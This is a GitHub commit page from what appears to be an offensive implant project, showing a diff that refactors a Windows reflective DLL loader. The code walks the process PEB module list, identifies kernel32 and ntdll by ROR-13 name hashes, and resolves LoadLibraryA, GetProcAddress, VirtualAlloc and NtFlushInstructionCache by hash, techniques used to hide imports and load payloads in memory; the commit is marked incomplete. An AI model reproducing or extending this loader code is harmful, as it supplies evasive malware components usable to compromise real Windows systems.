Skip to content

Commit

Permalink
edit rfl.cpp and not completed
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed May 21, 2024
1 parent 6ef437e commit 2ee8fbb
Show file tree
Hide file tree
Showing 4 changed files with 97 additions and 166 deletions.
19 changes: 17 additions & 2 deletions payload/win/implant/include/core/procs.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,17 @@
#include <string>
#include <strsafe.h>

// test -----------------------------------
#define HASH_KEY 13

#pragma intrinsic( _rotr )

__forceinline DWORD rotate(DWORD d)
{
return _rotr(d, HASH_KEY);
}
// -----------------------------------------

#define HASH_IV 0x35
#define RANDOM_ADDR 0xab10f29f

Expand Down Expand Up @@ -362,8 +373,12 @@ namespace Procs
typedef PROCS* PPROCS;

DWORD GetHashFromString(char* str);
DWORD GetHashFromStringPtr(PVOID pStr, SIZE_T dwStrLen);
// PVOID GetModuleByHash(DWORD dwHash);
ULONG GetHashFromStringPtr(
PVOID pStr,
SIZE_T dwStrLen,
BOOL bUpper
);
PVOID GetModuleByHash(DWORD dwHash);
PVOID GetProcAddressByHash(
HMODULE hModule,
DWORD dwHash
Expand Down
13 changes: 2 additions & 11 deletions payload/win/implant/include/rfl.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,21 +5,12 @@

#include <windows.h>

#define HASH_KEY 13

#define HASH_KERNEL32DLL 0x6A4ABC5B
#define HASH_NTDLLDLL 0x3CFA685D
#define HASH_KERNEL32DLL 0x6A4ABC5B
#define HASH_NTDLLDLL 0x3CFA685D

typedef ULONG_PTR (WINAPI * REFLECTIVEDLLLOADER)();
typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);

#pragma intrinsic( _rotr )

__forceinline DWORD rotate(DWORD d)
{
return _rotr(d, HASH_KEY);
}

extern "C" LPVOID ReflectiveCaller();

#endif // HERMIT_RFL_HPP
81 changes: 63 additions & 18 deletions payload/win/implant/src/core/procs.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -15,27 +15,44 @@ namespace Procs
return dwHash & 0xFFFFFFFF;
}

DWORD GetHashFromStringPtr(PVOID pStr, SIZE_T dwStrLen)
{
DWORD dwHash = HASH_IV;
ULONG GetHashFromStringPtr(
PVOID pStr,
SIZE_T dwStrLen,
BOOL bUpper
) {
ULONG dwHash = HASH_IV;
PUCHAR puStr = static_cast<PUCHAR>(pStr);

if (!pStr)
{
return 0;
}

do
{
UCHAR c = *puStr;

if (!dwStrLen)
{
if (!*puStr) break;
if (!*puStr)
{
break;
}
}
else
{
if ((ULONG)(puStr - static_cast<PUCHAR>(pStr)) >= dwStrLen) break;
if (!*puStr) ++puStr;
if ((ULONG)(puStr - static_cast<PUCHAR>(pStr)) >= dwStrLen)
{
break;
}
if (!*puStr)
{
++puStr;
}
}

// if a character is lowercase, convert it to uppercase.
if (c >= 'a')
if (bUpper && c >= 'a')
{
c -= 0x20;
}
Expand All @@ -47,20 +64,48 @@ namespace Procs
return dwHash & 0xFFFFFFFF;
}

// PVOID GetModuleByHash(DWORD dwHash)
// {
// PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
// // Get the first entry
// PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InMemoryOrderModuleList.Flink;
PVOID GetModuleByHash(DWORD dwHash)
{
// Get pointer to PEB
PPEB pPeb = nullptr;
#ifdef _WIN64
pPeb =(PPEB) __readgsqword(0x60);
#else
pPeb = (PPEB)__readfsqword(0x30);
#endif

PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
// Get the first entry
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink;

while (pDte)
{
ULONG_PTR uCurrModuleName = (ULONG_PTR)pDte->BaseDllName.Buffer;
USHORT uCurrModuleNameLen = pDte->BaseDllName.Length;
DWORD dwCurrHash = 0;

do
{
dwCurrHash = rotate(dwCurrHash);
// if a character is lowercase, convert to uppercase.
if (*((BYTE*)uCurrModuleName) >= 'a')
dwCurrHash += *((BYTE*)uCurrModuleName) - 0x20;
else
dwCurrHash += *((BYTE*)uCurrModuleName);
uCurrModuleName++;
} while (--uCurrModuleNameLen);

// while (pDte)
// {
if (dwCurrHash == dwHash)
{
return pDte->DllBase;
}

// Get the next entry
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}

// // Get the next entry
// pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
// }
// }
return nullptr;
}

PVOID GetProcAddressByHash(
HMODULE hModule,
Expand Down
150 changes: 15 additions & 135 deletions payload/win/implant/src/main/rfl.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -36,143 +36,23 @@ DLLEXPORT BOOL ReflectiveDllLoader(LPVOID lpParameter)
pPeb = (PPEB)__readfsqword(0x30);
#endif

Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA = nullptr;
Procs::LPPROC_GETPROCADDRESS lpGetProcAddress = nullptr;
Procs::LPPROC_VIRTUALALLOC lpVirtualAlloc = nullptr;
Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE lpNtFlushInstructionCache = nullptr;

PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
// Get the first entry
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink;

while (pDte)
{
ULONG_PTR uCurrModuleName = (ULONG_PTR)pDte->BaseDllName.Buffer;
USHORT uCurrModuleNameLen = pDte->BaseDllName.Length;
DWORD dwHash = 0;

do
{
dwHash = rotate(dwHash);
// if a character is lowercase, convert to uppercase.
if (*((BYTE*)uCurrModuleName) >= 'a')
dwHash += *((BYTE*)uCurrModuleName) - 0x20;
else
dwHash += *((BYTE*)uCurrModuleName);
uCurrModuleName++;
} while (--uCurrModuleNameLen);

// dwHash = HASH_IV;
// do
// {
// int c;
// // if a character is lowercase, convert it to uppercase.
// if (*((BYTE*)uCurrModuleName) >= 'a')
// c = *((BYTE*)uCurrModuleName) - 0x20;
// else
// c = *((BYTE*)uCurrModuleName);

// dwHash = dwHash * RANDOM_ADDR + c;
// uCurrModuleName++;
// } while (--uCurrModuleNameLen);
// dwHash = dwHash & 0xFFFFFFFF;

if (dwHash == HASH_KERNEL32DLL)
// if (dwHash == HASH_MODULE_KERNEL32)
// if (Procs::GetHashFromStringPtr((PVOID)pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == HASH_MODULE_KERNEL32)
{
ULONG_PTR uDllBase = (ULONG_PTR)pDte->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uDllBase + ((PIMAGE_DOS_HEADER)uDllBase)->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllBase + pDataDir->VirtualAddress);

ULONG_PTR uFuncNames = uDllBase + pExportDir->AddressOfNames;
ULONG_PTR uFuncNameOrdinals = uDllBase + pExportDir->AddressOfNameOrdinals;

uCurrModuleNameLen = 3;

while (uCurrModuleNameLen > 0)
{
DWORD dwFuncHash = Procs::GetHashFromString((char*)(uDllBase + DEREF_32(uFuncNames)));

// if we have found a function we want we get its virtual address
if(
dwFuncHash == HASH_FUNC_LOADLIBRARYA ||
dwFuncHash == HASH_FUNC_GETPROCADDRESS ||
dwFuncHash == HASH_FUNC_VIRTUALALLOC
) {
ULONG_PTR uFuncAddresses = uDllBase + pExportDir->AddressOfFunctions;

// use this functions name ordinal as an index into the array of name pointers
uFuncAddresses += (DEREF_16(uFuncNameOrdinals) * sizeof(DWORD));

// store this functions VA
if(dwFuncHash == HASH_FUNC_LOADLIBRARYA)
lpLoadLibraryA = (Procs::LPPROC_LOADLIBRARYA)(uDllBase + DEREF_32(uFuncAddresses));
else if(dwFuncHash == HASH_FUNC_GETPROCADDRESS)
lpGetProcAddress = (Procs::LPPROC_GETPROCADDRESS)(uDllBase + DEREF_32(uFuncAddresses));
else if(dwFuncHash == HASH_FUNC_VIRTUALALLOC )
lpVirtualAlloc = (Procs::LPPROC_VIRTUALALLOC)(uDllBase + DEREF_32(uFuncAddresses));

// decrement our counter
uCurrModuleNameLen--;
}

// get the next exported function name
uFuncNames += sizeof(DWORD);
// get the next exported function name ordinal
uFuncNameOrdinals += sizeof(WORD);
}
}
else if (dwHash == HASH_NTDLLDLL)
// else if (dwHash == HASH_MODULE_NTDLL)
// else if (Procs::GetHashFromStringPtr((PVOID)pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == HASH_MODULE_NTDLL)
{
ULONG_PTR uDllBase = (ULONG_PTR)pDte->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uDllBase + ((PIMAGE_DOS_HEADER)uDllBase)->e_lfanew);
PIMAGE_DATA_DIRECTORY pDataDir = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(uDllBase + pDataDir->VirtualAddress);

ULONG_PTR uFuncNames = (uDllBase + pExportDir->AddressOfNames);
ULONG_PTR uFuncNameOrdinals = (uDllBase + pExportDir->AddressOfNameOrdinals);

uCurrModuleNameLen = 1;

// loop while we still have imports to find
while(uCurrModuleNameLen > 0)
{
DWORD dwFuncHash = Procs::GetHashFromString((char*)(uDllBase + DEREF_32(uFuncNames)));

// if we have found a function we want we get its virtual address
if(dwFuncHash == HASH_FUNC_NTFLUSHINSTRUCTIONCACHE)
{
// get the VA for the array of addresses
ULONG_PTR uFuncAddresses = uDllBase + pExportDir->AddressOfFunctions;

// use this functions name ordinal as an index into the array of name pointers
uFuncAddresses += (DEREF_16(uFuncNameOrdinals) * sizeof(DWORD));

// store this functions VA
if(dwFuncHash == HASH_FUNC_NTFLUSHINSTRUCTIONCACHE)
lpNtFlushInstructionCache = (Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE)(uDllBase + DEREF_32(uFuncAddresses));

// decrement our counter
uCurrModuleNameLen--;
}

// get the next exported function name
uFuncNames += sizeof(DWORD);
// get the next exported function name ordinal
uFuncNameOrdinals += sizeof(WORD);
}
}
// Get modules and functions
HMODULE hNtdll = (HMODULE)Procs::GetModuleByHash(HASH_NTDLLDLL);
if (!hNtdll)
{
return FALSE;
}

if (lpLoadLibraryA && lpGetProcAddress && lpVirtualAlloc && lpNtFlushInstructionCache)
break;
HMODULE hKernel32 = (HMODULE)Procs::GetModuleByHash(HASH_KERNEL32DLL);
if (!hKernel32)
{
return FALSE;
}

// Get the next entry
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
}
Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA = reinterpret_cast<Procs::LPPROC_LOADLIBRARYA>(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_LOADLIBRARYA));
Procs::LPPROC_GETPROCADDRESS lpGetProcAddress = reinterpret_cast<Procs::LPPROC_GETPROCADDRESS>(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_GETPROCADDRESS));
Procs::LPPROC_VIRTUALALLOC lpVirtualAlloc = reinterpret_cast<Procs::LPPROC_VIRTUALALLOC>(Procs::GetProcAddressByHash(hKernel32, HASH_FUNC_VIRTUALALLOC));
Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE lpNtFlushInstructionCache = reinterpret_cast<Procs::LPPROC_NTFLUSHINSTRUCTIONCACHE>(Procs::GetProcAddressByHash(hNtdll, HASH_FUNC_NTFLUSHINSTRUCTIONCACHE));

// get the VA of the NT Header for the PE to be loaded
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(uLibAddr + ((PIMAGE_DOS_HEADER)uLibAddr)->e_lfanew);
Expand Down

0 comments on commit 2ee8fbb

Please sign in to comment.